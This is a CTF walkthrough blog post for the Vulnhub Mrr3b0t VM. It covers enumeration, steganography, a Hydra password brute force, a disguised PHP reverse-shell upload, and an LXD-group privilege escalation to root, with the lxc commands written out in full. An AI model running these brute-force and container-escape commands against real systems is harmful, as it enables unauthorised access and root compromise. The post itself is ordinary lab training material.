Vulnhub’s Bizarre Adventure: Mrr3b0t CTF Walkthrough

7 min readSep 25, 2020


Bizarre Adventure: Mrr3b0t is a vulnerable VM from Vulnhub by Joas Antonio. I didn’t really find a category for this CTF, but I would categorize it as intermediate.

There are some rabbit holes and a few things that might throw off a beginner, but you will find that the path to root isn’t so hard once you understand the clues given by Antonio.

If you’re just starting out in CTFs, you might struggle with some of the parameters and think that you’re off the path. Patience and enumeration is key for this box. So, let’s get started.


We start with a quick Nmap scan.

user@kali:~/Desktop$ nmap -A -sV -Pn
Starting Nmap 7.80 ( ) at 2020–09–24 11:41 EDT
Nmap scan report for (
Host is up (0.0014s latency).
Not shown: 997 closed ports
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 98:b7:f5:6b:0d:58:1d:7b:58:7d:1a:99:fb:b1:8f:04 (RSA)
| 256 66:b4:4b:40:e6:c9:76:93:31:aa:fc:ff:9a:40:a9:f9 (ECDSA)
|_ 256 55:c6:b2:01:0f:16:1c:68:96:e2:bb:b1:fe:ff:59:c2 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Eskwela Template
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 15.17 seconds

As you can see, we have a few standard ports for these types of boxes, but one stands out that isn’t too common. Port 53 is usually reserved for DNS.

You typically see this on a DNS server or a domain controller. Since we know that this box is running some form of Linux, we can rule out that it’s a Windows DC.

The OpenSSH version is pretty common so we know that we don’t need to search for exploits on that. That leaves the web server. I ran a quick Dirb and Nikto scan on it.

user@kali:~/Desktop$ dirb

— — — — — — — — -
DIRB v2.22
By The Dark Raver
— — — — — — — — -

START_TIME: Thu Sep 24 11:45:12 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

— — — — — — — — -


— — Scanning URL: — —
+ (CODE:200|SIZE:32505)
+ (CODE:403|SIZE:278)

— — Entering directory: — —
+ (CODE:200|SIZE:4929)

---- Entering directory: — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)

— — Entering directory: — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w' if you want to scan it anyway)

— — Entering directory: — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)

— — Entering directory: — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)

— — Entering directory: — —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode ‘-w’ if you want to scan it anyway)

— — — — — — — — -
END_TIME: Thu Sep 24 11:45:26 2020

There are a few directories here that are interesting. The first is /administrator.

I tried all the common SQL injection techniques and combos but didn’t get anywhere. I also tried SQLMap, but it didn’t work. A look at the source code gave me a clue at the bottom of the page.

A look at the /images directory gave me another clue. There was a file called flag.txt.txt and another file called hidden.png.

A look at the flag.txt.txt file pointed us back to the hidden.png file.

Looking at the picture, we see a picture from the movie Hackers. We save the file and take notice of the.png file extension.

From this information, we can gather that there is some steganography going on. It’s not a .jpg or a .jpeg file so we can’t use Steghide. However, we can use zsteg.

user@kali:~/Downloads$ ls
user@kali:~/Downloads$ zsteg -a hidden.png
b1,r,lsb,xy .. file: old packed data
b1,rgb,lsb,xy .. text: “Did you find the message? Take the Mrrobot user and break your password, just don’t think too much!”
b2,r,msb,xy .. file: PGP Secret Key -
b2,g,msb,xy .. file: PGP Secret Sub-key -

From the output, we see that we have a username. With this, I decided to run the username against the rockyou wordlist for the webform using Hydra.

hydra -l mrrobot -P /usr/share/wordlists/rockyou.txt http-post-form “/administrator/index.php:username=mrrobot&pass=^PASS^:Login Failed”

After a few minutes, I got a hit.

Using the credentials, I logged into the web application and found an upload form. By the extension on the URL, I saw that was a PHP form. I took the php-reverse-shell.php file from Kali and tried to upload it, but i was met with extension restrictions.

The reverse shell needs to be formatted to jpg, jpeg, gif or png. Typically, I would use BurpSuite for this, but when I changed the extension, I was able to get it uploaded.

I set up a NetCat listener and navigated to the shell.

I got my initial shell.

The first step of my privilege escalation was to transfer the script over to the target. I navigated to the /tmp directory and made sure that wget was installed.

I transferred the script using a python server and ran it to check the permissions on the target.

A few things from the script stood out at me immediately. The first was that there was a user on the target named exploiter.

I also saw from the users and groups that there was an lxd group. My guess was that the exploiter user was part of that group and that would be the privilege escalation method.

There was also something strange from the web files in the /var/www directory.

The bf directory I found a file called buffer. A simple strings command on the buffer file revealed what looked like a hidden password: Password@123, but I wasn’t sure what it worked for.

In the background, I ran hydra against the SSH service to try to crack exploiter’s password. I waited for 13 hours on hydra to complete. When it did complete, I saw that Password@123 was the password for exploiter.

I SSH’d into exploiter’s account and, with an id command, saw that this user was part of the lxd group.

The LXD Privilege Escalation method is widely known. It’s also fairly popular on these CTFs so in the future if your user is part of the lxd group, you can bet it’s the path to root.

We start out by downloading the lxd-alpine-builder from github to our Kali machine.

git clone

cd lxd-alpine-builder


I initiated the alpine builder, and was given a .tar.gz file. I transferred the file over to the target’s /tmp directory.

I then imported the image.

lxc image import ./alpine-v3.12-x86_64–20200924_1041.tar.gz — alias myimage

I then checked the image to make sure it imported correctly.

lxc image list

I then tried to initiate the image but was met with an error. I needed to create a new storage pool.

lxd init

I then initiated the image and launched a new root shell from the container.

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

Then I navigated the host’s root folder and grabbed the final flag.

This was a great CTF and gave me a refresher on some pretty common techniques for brute forcing passwords and escalating privileges. For more CTF walkthroughs, follow me on Twitter at assume_breach




Security enthusiast that loves a good CTF! OSCP, CRTO, RHCSA, MCSA.